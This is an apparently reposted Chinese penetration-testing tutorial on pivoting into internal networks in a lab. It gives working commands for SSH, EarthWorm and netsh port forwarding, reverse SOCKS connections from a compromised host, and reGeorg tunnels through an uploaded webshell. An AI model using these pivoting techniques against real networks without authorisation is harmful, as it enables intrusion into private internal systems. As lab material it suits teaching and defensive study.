web狗要懂的内网端口转发

先区分正向代理和反向代理

(自己的理解)

A——B——C
A对C的请求,B作为代理,代替A去访问C,并将结果返回给A,则B是正向代理

B主动与A的8888端口建立连接,并将A:8888的访问转为对C:80的访问,结果返回给A,则B是反向代理

反向代理的好处:当AB之间有防火墙,不允许A连B,但是允许B连A

开始实验

A([email protected]) (kali,具有完备的攻击环境)
B([email protected])
C([email protected])


web狗要懂的内网端口转发_第1张图片
image.png

实验一,利用ssh隧道,B作为正向代理,做动态端口转发

前提:知道B的ssh口令(常见于CTF的AWD中的渗透模式)
在A上运行

ssh -2 -D 2333 [email protected]

这条命令是将A本地的2333端口,与B的22端口建立socks连接,运行后需要输入B的ssh口令

web狗要懂的内网端口转发_第2张图片
image.png

测试,直接在A访问C的80端口,不过浏览器要侦听127.0.0.1:2333socks代理


web狗要懂的内网端口转发_第3张图片
image.png

测试,直接在A扫描C的所有端口,不过要调用proxychains,侦听127.0.0.1:2333


web狗要懂的内网端口转发_第4张图片
image.png

web狗要懂的内网端口转发_第5张图片
image.png

实验二,利用ssh隧道,B作为正向代理,进行单一的端口转发

A访问127.0.0.1:1111相当于访问C:80

A上运行

ssh -L 1111:192.168.168.3:80 [email protected]

A访问127.0.0.1:1111相当于访问192.168.168.3:80(C),中间需要[email protected](B)来帮忙转发,需要输入B的ssh账号密码


web狗要懂的内网端口转发_第6张图片
image.png

A访问127.0.0.1:2222 相当于访问C:22

A上运行

ssh -L 2222:192.168.168.3:22 [email protected]

A访问127.0.0.1:2222相当于访问192.168.168.3:22(C),中间需要[email protected](B)来帮忙转发,需要输入B的ssh账号密码

web狗要懂的内网端口转发_第7张图片
image.png

实验三 利用ssh隧道,B做反向代理,做单一的端口转发

A访问127.0.0.1:8888相当于访问C:80

先在A(kali)上生成ssh需要的host key

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

在B上运行

ssh -R 8888:192.168.168.3:80 [email protected]

B主动向A发起ssh连接,需要输入A的ssh账号口令

将来自(A)192.168.168.1:8888的请求,转化为对(C)192.168.168.3:80的请求,然后将结果通过ssh隧道,返回给A

web狗要懂的内网端口转发_第8张图片
image.png

A访问127.0.0.1:2222相当于访问C:22

在B上运行

ssh -R 2222:192.168.168.3:22 [email protected]
web狗要懂的内网端口转发_第9张图片
image.png

实验四,再多一级D(192.168.168.4),在A上打D

在B上运行两条命令

ssh -R 8888:127.0.0.1:4444 [email protected]
B作反向代理,将A:8888与B:4444打通ssh隧道

ssh -2 -D 4444 [email protected]
B将本地4444端口与C打通ssh隧道,C作正向代理

现在A就能以127.0.0.1:8888为socks代理,去访问D了,甚至扫描D

web狗要懂的内网端口转发_第10张图片
image.png

web狗要懂的内网端口转发_第11张图片
image.png

web狗要懂的内网端口转发_第12张图片
image.png
web狗要懂的内网端口转发_第13张图片
image.png

web狗要懂的内网端口转发_第14张图片
image.png

如果你只获得一个webshell,并没有ssh口令

强烈推荐 EarthWorm

可以用ew来建立正向代理、反向代理、多级级联,非常强大
旧版,已够用 http://rootkiter.com/EarthWorm/
新版,更新中,侧重shell管理 http://rootkiter.com/Termite/

利用ew,将B作为正向代理

用菜刀上传ew.zip到B上,并移动到tmp目录下

用菜刀的虚拟终端在B上执行

unzip ew.zip
file /sbin/init (查看linux位数)
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s ssocksd -l 2333 (侦听0.0.0.0:2333)
netstat -pantu|grep 2333 (查看是否侦听成功)
web狗要懂的内网端口转发_第15张图片
image.png

在A上以B为代理,访问C

web狗要懂的内网端口转发_第16张图片
image.png
web狗要懂的内网端口转发_第17张图片
image.png

利用ew,将B作为反向代理

在A上执行

chmod 777 ./ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 2333

A侦听0.0.0.0:2333端口,并转发为0.0.0.0:1080端口
image.png

在B上执行

chmod 777 ew_for_Linux32
./ew_for_Linux32 -s rssocks -d 192.168.168.1 -e 2333

B反向连接A:2333端口

此时以A的1080端口为代理,就能直接打C了,实际渗透中,192.168.168.1常是一台公网服务器,然后kali再去连接公网的1080端口,但我这里仍然是在kali下演示


web狗要懂的内网端口转发_第18张图片
image.png
web狗要懂的内网端口转发_第19张图片
image.png

使用完ew,记得杀掉进程,可以ps+kill查杀,也可以粗暴点,直接kill 0

利用ew进行多级代理搭建

B上运行

./ew_for_Linux32 -s rcsocks -l 1080 -e 2333

侦听0.0.0.0:2333,流量转发到0.0.0.0:1080

C上运行

./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333

C反向连接B:2333端口

这样A上以B 192.168.168.2:1080为socks代理,可以直接对D进行渗透

web狗要懂的内网端口转发_第20张图片
image.png

可以再加一级

达到以192.168.168.1:1080为socks代理,能对D进行渗透

沟通B和C

B上运行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
C上运行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333

B侦听0.0.0.0:2333端口,并转为0.0.0.0:1080端口
C反向连接B的2333端口

沟通A和B

A上运行
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
B上运行
./ew_for_Linux32 -s lcx_slave -d 192.168.168.1 -e 2333 -f 127.0.0.1 -g 1080

A侦听0.0.0.0:2333端口,并转为0.0.0.0:1080端口
B反向连接A的2333端口,并把流量转发到本地的1080端口
web狗要懂的内网端口转发_第21张图片
image.png
web狗要懂的内网端口转发_第22张图片
image.png

web狗要懂的内网端口转发_第23张图片
image.png

reGeorg

https://github.com/sensepost/reGeorg
https://sensepost.com/discover/tools/reGeorg/
reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php、jsp、js等web语言

菜刀连接192.168.168.2的webshell,上传tunnel.php和tunnel.nosocket.php到web根目录

在A(kali)上运行

python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.php
建立不了连接
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.nosocket.php
成功建立连接

此时会利用192.168.168.2的web服务,与本机的kali的2333端口建立socks连接,现在就能在A上打C了

web狗要懂的内网端口转发_第24张图片
image.png

参考和推荐的文章

内网渗透随想 redrain写的
http://www.anquan.us/static/drops/tips-5234.html
内网渗透中转发工具总结
http://www.anquan.us/static/drops/tools-15000.html
【T00ls精华文】代理转发工具汇总分析
https://mp.weixin.qq.com/s/heSvLuJtdPyJfsKJVlZEhw
内网漫游之SOCKS代理大结局
https://www.anquanke.com/post/id/85494
ssh端口转发详解
https://www.cnblogs.com/-chaos/archive/2013/10/19/3378564.html
http://blog.csdn.net/a351945755/article/details/21785647
http://blog.csdn.net/qq_27446553/article/details/51981764

补充

使用Windows命令来实现端口转发

https://xianzhi.aliyun.com/forum/topic/2068

需以管理员身份运行cmd.exe

将本地3389端口转发到本地2333端口
netsh interface portproxy add v4tov4 listenaddress=192.168.168.2 listenport=2333 connectaddress=192.168.168.2 connectport=3389
不能是127.0.0.1,除了转发到本地的ip,也可以转发到远程的ip

作为中间人,将0.0.0.0:2333 的访问,转为对192.168.168.3:3389的访问
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=2333  connectaddress=192.168.168.3 connectport=3389 

查看规则
netsh interface portproxy show all
netsh interface portproxy dump

清空规则
netsh interface portproxy reset

删除规则
netsh interface portproxy delete v4tov4 listenport=2333 listenaddress=192.168.168.2

有需要可以添加防火墙规则
netsh advfirewall firewall add rule name="forwarded_RDPport_2333" protocol=TCP dir=in localip=192.168.168.2  localport=2333 action=allow

使用rinetd来进行端口转发

sudo apt-get install rinetd

vim /etc/rinetd.conf
0.0.0.0 2333 1.1.1.1 2333

sudo service rinetd restart

自启动
sudo vim /etc/rc.local
/usr/sbin/rinetd start

你可能感兴趣的:(web狗要懂的内网端口转发)